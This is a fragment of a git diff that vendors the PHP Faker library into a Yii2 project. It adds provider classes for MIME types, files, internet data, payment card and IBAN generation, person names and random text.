'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx', + 'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx', + 'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx', + 'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx', + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx', + 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx', + 'application/vnd.pvi.ptid1' => 'ptid', + 'application/vnd.quark.quarkxpress' => array( + 'qxd', + 'qxt', + 'qwd', + 'qwt', + 'qxl', + 'qxb' + ), + 'application/vnd.realvnc.bed' => 'bed', + 'application/vnd.recordare.musicxml' => 'mxl', + 'application/vnd.recordare.musicxml+xml' => 'musicxml', + 'application/vnd.rig.cryptonote' => 'cryptonote', + 'application/vnd.rim.cod' => 'cod', + 'application/vnd.rn-realmedia' => 'rm', + 'application/vnd.rn-realmedia-vbr' => 'rmvb', + 'application/vnd.route66.link66+xml' => 'link66', + 'application/vnd.sailingtracker.track' => 'st', + 'application/vnd.seemail' => 'see', + 'application/vnd.sema' => 'sema', + 'application/vnd.semd' => 'semd', + 'application/vnd.semf' => 'semf', + 'application/vnd.shana.informed.formdata' => 'ifm', + 'application/vnd.shana.informed.formtemplate' => 'itp', + 'application/vnd.shana.informed.interchange' => 'iif', + 'application/vnd.shana.informed.package' => 'ipk', + 'application/vnd.simtech-mindmapper' => array('twd', 'twds'), + 'application/vnd.smaf' => 'mmf', + 'application/vnd.stepmania.stepchart' => 'sm', + 'application/vnd.sun.xml.calc' => 'sxc', + 'application/vnd.sun.xml.calc.template' => 'stc', + 'application/vnd.sun.xml.draw' => 'sxd', + 'application/vnd.sun.xml.draw.template' => 'std', + 'application/vnd.sun.xml.impress' => 'sxi', + 'application/vnd.sun.xml.impress.template' => 'sti', + 'application/vnd.sun.xml.math' => 'sxm', + 'application/vnd.sun.xml.writer' => 'sxw', + 'application/vnd.sun.xml.writer.global' => 'sxg', + 'application/vnd.sun.xml.writer.template' => 'stw', + 'application/vnd.sus-calendar' => array('sus', 'susp'), + 'application/vnd.svd' => 'svd', + 'application/vnd.symbian.install' => array('sis', 'sisx'), + 'application/vnd.syncml+xml' => 'xsm', + 'application/vnd.syncml.dm+wbxml' => 'bdm', + 'application/vnd.syncml.dm+xml' => 'xdm', + 'application/vnd.tao.intent-module-archive' => 'tao', + 'application/vnd.tcpdump.pcap' => array('pcap', 'cap', 'dmp'), + 'application/vnd.tmobile-livetv' => 'tmo', + 'application/vnd.trid.tpt' => 'tpt', + 'application/vnd.triscape.mxs' => 'mxs', + 'application/vnd.trueapp' => 'tra', + 'application/vnd.ufdl' => array('ufd', 'ufdl'), + 'application/vnd.uiq.theme' => 'utz', + 'application/vnd.umajin' => 'umj', + 'application/vnd.unity' => 'unityweb', + 'application/vnd.uoml+xml' => 'uoml', + 'application/vnd.vcx' => 'vcx', + 'application/vnd.visio' => array('vsd', 'vst', 'vss', 'vsw'), + 'application/vnd.visionary' => 'vis', + 'application/vnd.vsf' => 'vsf', + 'application/vnd.wap.wbxml' => 'wbxml', + 'application/vnd.wap.wmlc' => 'wmlc', + 'application/vnd.wap.wmlscriptc' => 'wmlsc', + 'application/vnd.webturbo' => 'wtb', + 'application/vnd.wolfram.player' => 'nbp', + 'application/vnd.wordperfect' => 'wpd', + 'application/vnd.wqd' => 'wqd', + 'application/vnd.wt.stf' => 'stf', + 'application/vnd.xara' => 'xar', + 'application/vnd.xfdl' => 'xfdl', + 'application/voicexml+xml' => 'vxml', + 'application/widget' => 'wgt', + 'application/winhlp' => 'hlp', + 'application/wsdl+xml' => 'wsdl', + 'application/wspolicy+xml' => 'wspolicy', + 'application/x-7z-compressed' => '7z', + 'application/x-bittorrent' => 'torrent', + 'application/x-blorb' => array('blb', 'blorb'), + 'application/x-bzip' => 'bz', + 'application/x-cdlink' => 'vcd', + 'application/x-cfs-compressed' => 'cfs', + 'application/x-chat' => 'chat', + 'application/x-chess-pgn' => 'pgn', + 'application/x-conference' => 'nsc', + 'application/x-cpio' => 'cpio', + 'application/x-csh' => 'csh', + 'application/x-debian-package' => array('deb', 'udeb'), + 'application/x-dgc-compressed' => 'dgc', + 'application/x-director' => array( + 'dir', + 'dcr', + 'dxr', + 'cst', + 'cct', + 'cxt', + 'w3d', + 'fgd', + 'swa' + ), + 'application/x-font-ttf' => array('ttf', 'ttc'), + 'application/x-font-type1' => array('pfa', 'pfb', 'pfm', 'afm'), + 'application/x-font-woff' => 'woff', + 'application/x-freearc' => 'arc', + 'application/x-futuresplash' => 'spl', + 'application/x-gca-compressed' => 'gca', + 'application/x-glulx' => 'ulx', + 'application/x-gnumeric' => 'gnumeric', + 'application/x-gramps-xml' => 'gramps', + 'application/x-gtar' => 'gtar', + 'application/x-hdf' => 'hdf', + 'application/x-install-instructions' => 'install', + 'application/x-iso9660-image' => 'iso', + 'application/x-java-jnlp-file' => 'jnlp', + 'application/x-latex' => 'latex', + 'application/x-lzh-compressed' => array('lzh', 'lha'), + 'application/x-mie' => 'mie', + 'application/x-mobipocket-ebook' => array('prc', 'mobi'), + 'application/x-ms-application' => 'application', + 'application/x-ms-shortcut' => 'lnk', + 'application/x-ms-wmd' => 'wmd', + 'application/x-ms-wmz' => 'wmz', + 'application/x-ms-xbap' => 'xbap', + 'application/x-msaccess' => 'mdb', + 'application/x-msbinder' => 'obd', + 'application/x-mscardfile' => 'crd', + 'application/x-msclip' => 'clp', + 'application/x-msdownload' => array('exe', 'dll', 'com', 'bat', 'msi'), + 'application/x-msmediaview' => array( + 'mvb', + 'm13', + 'm14' + ), + 'application/x-msmetafile' => array('wmf', 'wmz', 'emf', 'emz'), + 'application/x-rar-compressed' => 'rar', + 'application/x-research-info-systems' => 'ris', + 'application/x-sh' => 'sh', + 'application/x-shar' => 'shar', + 'application/x-shockwave-flash' => 'swf', + 'application/x-silverlight-app' => 'xap', + 'application/x-sql' => 'sql', + 'application/x-stuffit' => 'sit', + 'application/x-stuffitx' => 'sitx', + 'application/x-subrip' => 'srt', + 'application/x-sv4cpio' => 'sv4cpio', + 'application/x-sv4crc' => 'sv4crc', + 'application/x-t3vm-image' => 't3', + 'application/x-tads' => 'gam', + 'application/x-tar' => 'tar', + 'application/x-tcl' => 'tcl', + 'application/x-tex' => 'tex', + 'application/x-tex-tfm' => 'tfm', + 'application/x-texinfo' => array('texinfo', 'texi'), + 'application/x-tgif' => 'obj', + 'application/x-ustar' => 'ustar', + 'application/x-wais-source' => 'src', + 'application/x-x509-ca-cert' => array('der', 'crt'), + 'application/x-xfig' => 'fig', + 'application/x-xliff+xml' => 'xlf', + 'application/x-xpinstall' => 'xpi', + 'application/x-xz' => 'xz', + 'application/x-zmachine' => 'z1', + 'application/xaml+xml' => 'xaml', + 'application/xcap-diff+xml' => 'xdf', + 'application/xenc+xml' => 'xenc', + 'application/xhtml+xml' => array('xhtml', 'xht'), + 'application/xml' => array('xml', 'xsl'), + 'application/xml-dtd' => 'dtd', + 'application/xop+xml' => 'xop', + 'application/xproc+xml' => 'xpl', + 'application/xslt+xml' => 'xslt', + 'application/xspf+xml' => 'xspf', + 'application/xv+xml' => array('mxml', 'xhvml', 'xvml', 'xvm'), + 'application/yang' => 'yang', + 'application/yin+xml' => 'yin', + 'application/zip' => 'zip', + 'audio/adpcm' => 'adp', + 'audio/basic' => array('au', 'snd'), + 'audio/midi' => array('mid', 'midi', 'kar', 'rmi'), + 'audio/mp4' => 'mp4a', + 'audio/mpeg' => array( + 'mpga', + 'mp2', + 'mp2a', + 'mp3', + 'm2a', + 'm3a' + ), + 'audio/ogg' => array('oga', 'ogg', 'spx'), + 'audio/vnd.dece.audio' => array('uva', 'uvva'), + 'audio/vnd.rip' => 'rip', + 'audio/webm' => 'weba', + 'audio/x-aac' => 'aac', + 'audio/x-aiff' => array('aif', 'aiff', 'aifc'), + 'audio/x-caf' => 'caf', + 'audio/x-flac' => 'flac', + 'audio/x-matroska' => 'mka', + 'audio/x-mpegurl' => 'm3u', + 'audio/x-ms-wax' => 'wax', + 'audio/x-ms-wma' => 'wma', + 'audio/x-pn-realaudio' => array('ram', 'ra'), + 'audio/x-pn-realaudio-plugin' => 'rmp', + 'audio/x-wav' => 'wav', + 'audio/xm' => 'xm', + 'image/bmp' => 'bmp', + 'image/cgm' => 'cgm', + 'image/g3fax' => 'g3', + 'image/gif' => 'gif', + 'image/ief' => 'ief', + 'image/jpeg' => array('jpeg', 'jpg', 'jpe'), + 'image/ktx' => 'ktx', + 'image/png' => 'png', + 'image/prs.btif' => 'btif', + 'image/sgi' => 'sgi', + 'image/svg+xml' => array('svg', 'svgz'), + 'image/tiff' => array('tiff', 'tif'), + 'image/vnd.adobe.photoshop' => 'psd', + 'image/vnd.dece.graphic' => array('uvi', 'uvvi', 'uvg', 'uvvg'), + 'image/vnd.dvb.subtitle' => 'sub', + 'image/vnd.djvu' => array('djvu', 'djv'), + 'image/vnd.dwg' => 'dwg', + 'image/vnd.dxf' => 'dxf', + 'image/vnd.fastbidsheet' => 'fbs', + 'image/vnd.fpx' => 'fpx', + 'image/vnd.fst' => 'fst', + 'image/vnd.fujixerox.edmics-mmr' => 'mmr', + 'image/vnd.fujixerox.edmics-rlc' => 'rlc', + 'image/vnd.ms-modi' => 'mdi', + 'image/vnd.ms-photo' => 'wdp', + 'image/vnd.net-fpx' => 'npx', + 'image/vnd.wap.wbmp' => 'wbmp', + 'image/vnd.xiff' => 'xif', + 'image/webp' => 'webp', + 'image/x-3ds' => '3ds', + 'image/x-cmu-raster' => 'ras', + 'image/x-cmx' => 'cmx', + 'image/x-freehand' => array('fh', 'fhc', 'fh4', 'fh5', 'fh7'), + 'image/x-icon' => 'ico', + 'image/x-mrsid-image' => 'sid', + 'image/x-pcx' => 'pcx', + 'image/x-pict' => array('pic', 'pct'), + 'image/x-portable-anymap' => 'pnm', + 'image/x-portable-bitmap' => 'pbm', + 'image/x-portable-graymap' => 'pgm', + 'image/x-portable-pixmap' => 'ppm', + 'image/x-rgb' => 'rgb', + 'image/x-tga' => 'tga', + 'image/x-xbitmap' => 'xbm', + 'image/x-xpixmap' => 'xpm', + 'image/x-xwindowdump' => 'xwd', + 'message/rfc822' => array('eml', 'mime'), + 'model/iges' => array('igs', 'iges'), + 'model/mesh' => array('msh', 'mesh', 'silo'), + 'model/vnd.collada+xml' => 'dae', + 'model/vnd.dwf' => 'dwf', + 'model/vnd.gdl' => 'gdl', + 'model/vnd.gtw' => 'gtw', + 'model/vnd.mts' => 'mts', + 'model/vnd.vtu' => 'vtu', + 'model/vrml' => array('wrl', 'vrml'), + 'model/x3d+binary' => 'x3db', + 'model/x3d+vrml' => 'x3dv', + 'model/x3d+xml' => 'x3d', + 'text/cache-manifest' => 'appcache', + 'text/calendar' => array('ics', 'ifb'), + 'text/css' => 'css', + 'text/csv' => 'csv', + 'text/html' => array('html', 'htm'), + 'text/n3' => 'n3', + 'text/plain' => array( + 'txt', + 'text', + 'conf', + 'def', + 'list', + 'log', + 'in' + ), + 'text/prs.lines.tag' => 'dsc', + 'text/richtext' => 'rtx', + 'text/sgml' => array('sgml', 'sgm'), + 'text/tab-separated-values' => 'tsv', + 'text/troff' => array( + 't', + 'tr', + 'roff', + 'man', + 'me', + 'ms' + ), + 'text/turtle' => 'ttl', + 'text/uri-list' => array('uri', 'uris', 'urls'), + 'text/vcard' => 'vcard', + 'text/vnd.curl' => 'curl', + 'text/vnd.curl.dcurl' => 'dcurl', + 'text/vnd.curl.scurl' => 'scurl', + 'text/vnd.curl.mcurl' => 'mcurl', + 'text/vnd.dvb.subtitle' => 'sub', + 'text/vnd.fly' => 'fly', + 'text/vnd.fmi.flexstor' => 'flx', + 'text/vnd.graphviz' => 'gv', + 'text/vnd.in3d.3dml' => '3dml', + 'text/vnd.in3d.spot' => 'spot', + 'text/vnd.sun.j2me.app-descriptor' => 'jad', + 'text/vnd.wap.wml' => 'wml', + 'text/vnd.wap.wmlscript' => 'wmls', + 'text/x-asm' => array('s', 'asm'), + 'text/x-fortran' => array('f', 'for', 'f77', 'f90'), + 'text/x-java-source' => 'java', + 'text/x-opml' => 'opml', + 'text/x-pascal' => array('p', 'pas'), + 'text/x-nfo' => 'nfo', + 'text/x-setext' => 'etx', + 'text/x-sfv' => 'sfv', + 'text/x-uuencode' => 'uu', + 'text/x-vcalendar' => 'vcs', + 'text/x-vcard' => 'vcf', + 'video/3gpp' => '3gp', + 'video/3gpp2' => '3g2', + 'video/h261' => 'h261', + 'video/h263' => 'h263', + 'video/h264' => 'h264', + 'video/jpeg' => 'jpgv', + 'video/jpm' => array('jpm', 'jpgm'), + 'video/mj2' => 'mj2', + 'video/mp4' => 'mp4', + 'video/mpeg' => array('mpeg', 'mpg', 'mpe', 'm1v', 'm2v'), + 'video/ogg' => 'ogv', + 'video/quicktime' => array('qt', 'mov'), + 'video/vnd.dece.hd' => array('uvh', 'uvvh'), + 'video/vnd.dece.mobile' => array('uvm', 'uvvm'), + 'video/vnd.dece.pd' => array('uvp', 'uvvp'), + 'video/vnd.dece.sd' => array('uvs', 'uvvs'), + 'video/vnd.dece.video' => array('uvv', 'uvvv'), + 'video/vnd.dvb.file' => 'dvb', + 'video/vnd.fvt' => 'fvt', + 'video/vnd.mpegurl' => array('mxu', 'm4u'), + 'video/vnd.ms-playready.media.pyv' => 'pyv', + 'video/vnd.uvvu.mp4' => array('uvu', 'uvvu'), + 'video/vnd.vivo' => 'viv', + 'video/webm' => 'webm', + 'video/x-f4v' => 'f4v', + 'video/x-fli' => 'fli', + 'video/x-flv' => 'flv', + 'video/x-m4v' => 'm4v', + 'video/x-matroska' => array('mkv', 'mk3d', 'mks'), + 'video/x-mng' => 'mng', + 'video/x-ms-asf' => array('asf', 'asx'), + 'video/x-ms-vob' => 'vob', + 'video/x-ms-wm' => 'wm', + 'video/x-ms-wmv' => 'wmv', + 'video/x-ms-wmx' => 'wmx', + 'video/x-ms-wvx' => 'wvx', + 'video/x-msvideo' => 'avi', + 'video/x-sgi-movie' => 'movie', + ); + + /** + * Get a random MIME type + * + * @return string + * @example 'video/avi' + */ + public static function mimeType() + { + return static::randomElement(array_keys(static::$mimeTypes)); + } + + /** + * Get a random file extension (without a dot) + * + * @example avi + * @return string + */ + public static function fileExtension() + { + $random_extension = static::randomElement(array_values(static::$mimeTypes)); + + return is_array($random_extension) ? static::randomElement($random_extension) : $random_extension; + } + + /** + * Copy a random file from the source directory to the target directory and returns the filename/fullpath + * + * @param string $sourceDirectory The directory to look for random file taking + * @param string $targetDirectory + * @param boolean $fullPath Wether to have the full path or just the filename + * @return string + */ + public static function file($sourceDirectory = '/tmp', $targetDirectory = '/tmp', $fullPath = true) + { + if (!is_dir($sourceDirectory)) { + throw new \InvalidArgumentException(sprintf('Source directory %s does not exist or is not a directory.', $sourceDirectory)); + } + + if (!is_dir($targetDirectory)) { + throw new \InvalidArgumentException(sprintf('Target directory %s does not exist or is not a directory.', $targetDirectory)); + } + + // Drop . and .. and reset array keys + $files = array_values(array_diff(scandir($sourceDirectory), array('.', '..'))); + + $sourceFullPath = $sourceDirectory . DIRECTORY_SEPARATOR . static::randomElement($files); + + $destinationFile = Uuid::uuid() . '.' . pathinfo($sourceFullPath, PATHINFO_EXTENSION); + $destinationFullPath = $targetDirectory . DIRECTORY_SEPARATOR . $destinationFile; + + if (false === copy($sourceFullPath, $destinationFullPath)) { + return false; + } + + return $fullPath ? $destinationFullPath : $destinationFile; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Image.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Image.php new file mode 100644 index 00000000..30bef88f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Image.php @@ -0,0 +1,78 @@ +generator->parse($format)); + } + + /** + * @example 'jdoe@example.com' + */ + final public function safeEmail() + { + return preg_replace('/\s/u', '', $this->userName() . '@' . static::safeEmailDomain()); + } + + /** + * @example 'jdoe@gmail.com' + */ + public function freeEmail() + { + return preg_replace('/\s/u', '', $this->userName() . '@' . static::freeEmailDomain()); + } + + /** + * @example 'jdoe@dawson.com' + */ + public function companyEmail() + { + return preg_replace('/\s/u', '', $this->userName() . '@' . $this->domainName()); + } + + /** + * @example 'gmail.com' + */ + public static function freeEmailDomain() + { + return static::randomElement(static::$freeEmailDomain); + } + + /** + * @example 'example.org' + */ + final public static function safeEmailDomain() + { + $domains = array( + 'example.com', + 'example.org', + 'example.net' + ); + + return static::randomElement($domains); + } + /** + * @example 'jdoe' + */ + public function userName() + { + $format = static::randomElement(static::$userNameFormats); + + return static::toLower(static::bothify($this->generator->parse($format))); + } + + /** + * @example 'tiramisu.com' + */ + public function domainName() + { + return $this->domainWord() . '.' . $this->tld(); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower($company); + } + + /** + * @example 'com' + */ + public function tld() + { + return static::randomElement(static::$tld); + } + + /** + * @example 'http://www.runolfsdottir.com/' + */ + public function url() + { + $format = static::randomElement(static::$urlFormats); + + return $this->generator->parse($format); + } + + /** + * @example 'aut-repellat-commodi-vel-itaque-nihil-id-saepe-nostrum' + */ + public function slug($nbWords = 6, $variableNbWords = true) + { + if ($nbWords <= 0) { + return ''; + } + if ($variableNbWords) { + $nbWords = (int) ($nbWords * mt_rand(60, 140) / 100) + 1; + } + $words = $this->generator->words($nbWords); + + return join($words, '-'); + } + + /** + * @example '237.149.115.38' + */ + public function ipv4() + { + return long2ip(mt_rand(0, 1) == 0 ? mt_rand(-2147483648, 0) : mt_rand(1, 2147483647)); + } + + /** + * @example '35cd:186d:3e23:2986:ef9f:5b41:42a4:e6f1' + */ + public function ipv6() + { + $res = array(); + for ($i=0; $i < 8; $i++) { + $res []= dechex(mt_rand(0, "65535")); + } + + return join(':', $res); + } + + /** + * @example '10.1.1.17' + */ + public static function localIpv4() + { + if (static::numberBetween(0, 1) === 0) { + // 10.x.x.x range + $ip = long2ip(static::numberBetween(167772160, 184549375)); + } else { + // 192.168.x.x range + $ip = long2ip(static::numberBetween(3232235520, 3232301055)); + } + + return $ip; + } + + /** + * @example '32:F1:39:2F:D6:18' + */ + public static function macAddress() + { + for ($i=0; $i<6; $i++) { + $mac[] = sprintf('%02X', static::numberBetween(0, 0xff)); + } + $mac = implode(':', $mac); + + return $mac; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Lorem.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Lorem.php new file mode 100644 index 00000000..f9fe1288 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Lorem.php @@ -0,0 +1,214 @@ + array( + "4539#########", + "4539############", + "4556#########", + "4556############", + "4916#########", + "4916############", + "4532#########", + "4532############", + "4929#########", + "4929############", + "40240071#####", + "40240071########", + "4485#########", + "4485############", + "4716#########", + "4716############", + "4############", + "4###############" + ), + 'MasterCard' => array( + "51##############", + "52##############", + "53##############", + "54##############", + "55##############" + ), + 'American Express' => array( + "34#############", + "37#############" + ), + 'Discover Card' => array( + "6011############" + ), + ); + + /** + * @var array list of IBAN formats, source: @link http://www.swift.com/dsp/resources/documents/IBAN_Registry.txt + */ + protected static $ibanFormats = array( + 'AD' => array(array('n', 4), array('n', 4), array('c', 12)), + 'AE' => array(array('n', 3), array('n', 16)), + 'AL' => array(array('n', 8), array('c', 16)), + 'AT' => array(array('n', 5), array('n', 11)), + 'AZ' => array(array('a', 4), array('c', 20)), + 'BA' => array(array('n', 3), array('n', 3), array('n', 8), array('n', 2)), + 'BE' => array(array('n', 3), array('n', 7), array('n', 2)), + 'BG' => array(array('a', 4), array('n', 4), array('n', 2), array('c', 8)), + 'BH' => array(array('a', 4), array('c', 14)), + 'BR' => array(array('n', 8), array('n', 5), array('n', 10), array('a', 1), array('c', 1)), + 'CH' => array(array('n', 5), array('c', 12)), + 'CR' => array(array('n', 3), array('n', 14)), + 'CY' => array(array('n', 3), array('n', 5), array('c', 16)), + 'CZ' => array(array('n', 4), array('n', 6), array('n', 10)), + 'DE' => array(array('n', 8), array('n', 10)), + 'DK' => array(array('n', 4), array('n', 9), array('n', 1)), + 'DO' => array(array('c', 4), array('n', 20)), + 'EE' => array(array('n', 2), array('n', 2), array('n', 11), array('n', 1)), + 'ES' => array(array('n', 4), array('n', 4), array('n', 1), array('n', 1), array('n', 10)), + 'FR' => array(array('n', 5), array('n', 5), array('c', 11), array('n', 2)), + 'GB' => array(array('a', 4), array('n', 6), array('n', 8)), + 'GE' => array(array('a', 2), array('n', 16)), + 'GI' => array(array('a', 4), array('c', 15)), + 'GR' => array(array('n', 3), array('n', 4), array('c', 16)), + 'GT' => array(array('c', 4), array('c', 20)), + 'HR' => array(array('n', 7), array('n', 10)), + 'HU' => array(array('n', 3), array('n', 4), array('n', 1), array('n', 15), array('n', 1)), + 'IE' => array(array('a', 4), array('n', 6), array('n', 8)), + 'IL' => array(array('n', 3), array('n', 3), array('n', 13)), + 'IS' => array(array('n', 4), array('n', 2), array('n', 6), array('n', 10)), + 'IT' => array(array('a', 1), array('n', 5), array('n', 5), array('c', 12)), + 'KW' => array(array('a', 4), array('c', 22)), + 'KZ' => array(array('n', 3), array('c', 13)), + 'LB' => array(array('n', 4), array('c', 20)), + 'LI' => array(array('n', 5), array('c', 12)), + 'LT' => array(array('n', 5), array('n', 11)), + 'LU' => array(array('n', 3), array('c', 13)), + 'LV' => array(array('a', 4), array('c', 13)), + 'MC' => array(array('n', 5), array('n', 5), array('c', 11), array('n', 2)), + 'MD' => array(array('c', 2), array('c', 18)), + 'ME' => array(array('n', 3), array('n', 13), array('n', 2)), + 'MK' => array(array('n', 3), array('c', 10), array('n', 2)), + 'MR' => array(array('n', 5), array('n', 5), array('n', 11), array('n', 2)), + 'MT' => array(array('a', 4), array('n', 5), array('c', 18)), + 'MU' => array(array('a', 4), array('n', 2), array('n', 2), array('n', 12), array('n', 3), array('a', 3)), + 'NL' => array(array('a', 4), array('n', 10)), + 'NO' => array(array('n', 4), array('n', 6), array('n', 1)), + 'PK' => array(array('a', 4), array('c', 16)), + 'PL' => array(array('n', 8), array('n', 16)), + 'PS' => array(array('a', 4), array('c', 21)), + 'PT' => array(array('n', 4), array('n', 4), array('n', 11), array('n', 2)), + 'RO' => array(array('a', 4), array('c', 16)), + 'RS' => array(array('n', 3), array('n', 13), array('n', 2)), + 'SA' => array(array('n', 2), array('c', 18)), + 'SE' => array(array('n', 3), array('n', 16), array('n', 1)), + 'SI' => array(array('n', 5), array('n', 8), array('n', 2)), + 'SK' => array(array('n', 4), array('n', 6), array('n', 10)), + 'SM' => array(array('a', 1), array('n', 5), array('n', 5), array('c', 12)), + 'TN' => array(array('n', 2), array('n', 3), array('n', 13), array('n', 2)), + 'TR' => array(array('n', 5), array('c', 1), array('c', 16)), + 'VG' => array(array('a', 4), array('n', 16)), + ); + + /** + * @return string Returns a credit card vendor name + * + * @example 'MasterCard' + */ + public static function creditCardType() + { + return static::randomElement(static::$cardVendors); + } + + /** + * Returns the String of a credit card number. + * + * @param string $type Supporting any of 'Visa', 'MasterCard', 'Amercian Express', and 'Discover' + * @param boolean $formatted Set to true if the output string should contain one separator every 4 digits + * @param string $separator Separator string for formatting card number. Defaults to dash (-). + * + * @example '4485480221084675' + */ + public static function creditCardNumber($type = null, $formatted = false, $separator = '-') + { + if (is_null($type)) { + $type = static::creditCardType(); + } + $mask = static::randomElement(static::$cardParams[$type]); + + $number = static::numerify($mask); + + if ($formatted) { + $p1 = substr($number, 0, 4); + $p2 = substr($number, 4, 4); + $p3 = substr($number, 8, 4); + $p4 = substr($number, 12); + $number = $p1 .$separator . $p2 . $separator . $p3 . $separator . $p4; + } + + return $number; + } + + /** + * @param boolean $valid True (by default) to get a valid expiration date, false to get a maybe valid date + * @example 04/13 + */ + public function creditCardExpirationDate($valid = true) + { + if ($valid) { + return $this->generator->dateTimeBetween('now', '36 months'); + } + + return $this->generator->dateTimeBetween('-36 months', '36 months'); + } + + /** + * @param boolean $valid True (by default) to get a valid expiration date, false to get a maybe valid date + * @param string $expirationDateFormat + * @example '04/13' + */ + public function creditCardExpirationDateString($valid = true, $expirationDateFormat = null) + { + return $this->creditCardExpirationDate($valid)->format(is_null($expirationDateFormat) ? static::$expirationDateFormat : $expirationDateFormat); + } + + /** + * @param boolean $valid True (by default) to get a valid expiration date, false to get a maybe valid date + * @return array() + */ + public function creditCardDetails($valid = true) + { + $type = static::creditCardType(); + + return array( + 'type' => $type, + 'number' => static::creditCardNumber($type), + 'name' => $this->generator->name(), + 'expirationDate' => $this->creditCardExpirationDateString($valid) + ); + } + + /** + * International Bank Account Number (IBAN) + * @link http://en.wikipedia.org/wiki/International_Bank_Account_Number + * @param string $countryCode ISO 3166-1 alpha-2 country code + * @param string $prefix for generating bank account number of a specific bank + * @param integer $length total length without country code and 2 check digits + * @return string + */ + protected static function iban($countryCode, $prefix = '', $length = null) + { + $countryCode = strtoupper($countryCode); + $format = !isset(static::$ibanFormats[$countryCode]) ? array() : static::$ibanFormats[$countryCode]; + if ($length === null) { + if ($format === null) { + $length = 24; + } else { + $length = 0; + foreach ($format as $part) { + list($class, $groupCount) = $part; + $length += $groupCount; + } + } + } + + $result = $prefix; + $length -= strlen($prefix); + $nextPart = array_shift($format); + if ($nextPart !== false) { + list($class, $groupCount) = $nextPart; + } else { + $class = 'n'; + $groupCount = 0; + } + $groupCount = $nextPart === false ? 0 : $nextPart[1]; + for ($i = 0; $i < $length; $i++) { + if ($nextPart !== false && $groupCount-- < 1) { + $nextPart = array_shift($format); + list($class, $groupCount) = $nextPart; + } + switch ($class) { + default: + case 'c': + $result .= mt_rand(0, 100) <= 50 ? static::randomDigit() : strtoupper(static::randomLetter()); + break; + case 'a': + $result .= strtoupper(static::randomLetter()); + break; + case 'n': + $result .= static::randomDigit(); + break; + } + } + + $result = static::addBankCodeChecksum($result, $countryCode); + + $countryNumber = 100 * (ord($countryCode[0])-55) + (ord($countryCode[1])-55); + $tempResult = $result . $countryNumber . '00'; + // perform MOD97-10 checksum calculation + $checksum = (int) $tempResult[0]; + for ($i = 1, $size = strlen($tempResult); $i < $size; $i++) { + $checksum = (10 * $checksum + (int) $tempResult[$i]) % 97; + } + $checksum = 98 - $checksum; + if ($checksum < 10) { + $checksum = '0'.$checksum; + } + + return $countryCode . $checksum . $result; + } + + /** + * Calculates a checksum for the national bank and branch code part in the IBAN. + * @param string $iban randomly generated $iban + * @param string $countryCode ISO 3166-1 alpha-2 country code + * @return string IBAN with one character altered to a proper checksum + */ + protected static function addBankCodeChecksum($iban, $countryCode = '') + { + return $iban; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Person.php new file mode 100644 index 00000000..9cd67769 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Person.php @@ -0,0 +1,121 @@ +generator->parse($format); + } + + /** + * @param string|null $gender 'male', 'female' or null for any + * @example 'John' + */ + public function firstName($gender = null) + { + if ($gender === static::GENDER_MALE) { + return static::firstNameMale(); + } elseif ($gender === static::GENDER_FEMALE) { + return static::firstNameFemale(); + } + + return $this->generator->parse(static::randomElement(static::$firstNameFormat)); + } + + public static function firstNameMale() + { + return static::randomElement(static::$firstNameMale); + } + + public static function firstNameFemale() + { + return static::randomElement(static::$firstNameFemale); + } + + /** + * @example 'Doe' + */ + public function lastName() + { + return static::randomElement(static::$lastName); + } + + /** + * @example 'Mrs.' + */ + public function title($gender = null) + { + if ($gender === static::GENDER_MALE) { + return static::titleMale(); + } elseif ($gender === static::GENDER_FEMALE) { + return static::titleFemale(); + } + + return $this->generator->parse(static::randomElement(static::$titleFormat)); + } + + /** + * @example 'Mr.' + */ + public static function titleMale() + { + return static::randomElement(static::$titleMale); + } + + /** + * @example 'Mrs.' + */ + public static function titleFemale() + { + return static::randomElement(static::$titleFemale); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/PhoneNumber.php new file mode 100644 index 00000000..65b24fc2 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/PhoneNumber.php @@ -0,0 +1,16 @@ + 5) { + throw new \InvalidArgumentException('indexSize must be at most 5'); + } + + $words = $this->getConsecutiveWords($indexSize); + $result = array(); + $resultLength = 0; + // take a random starting point + $next = static::randomKey($words); + while ($resultLength < $maxNbChars && isset($words[$next])) { + // fetch a random word to append + $word = static::randomElement($words[$next]); + + // calculate next index + $currentWords = explode(' ', $next); + $currentWords[] = $word; + array_shift($currentWords); + $next = implode(' ', $currentWords); + + // ensure text starts with an uppercase letter + if ($resultLength == 0 && !preg_match('/^\p{Lu}/u', $word)) { + continue; + } + + // append the element + $result[] = $word; + $resultLength += strlen($word) + 1; + } + + // remove the element that caused the text to overflow + array_pop($result); + + // build result + $result = implode(' ', $result); + + return $result.'.'; + } + + protected function getConsecutiveWords($indexSize) + { + if (!isset($this->consecutiveWords[$indexSize])) { + $parts = $this->getExplodedText(); + $words = array(); + $index = array(); + for ($i = 0; $i < $indexSize; $i++) { + $index[] = array_shift($parts); + } + + for ($i = 0, $count = count($parts); $i < $count; $i++) { + $stringIndex = implode(' ', $index); + if 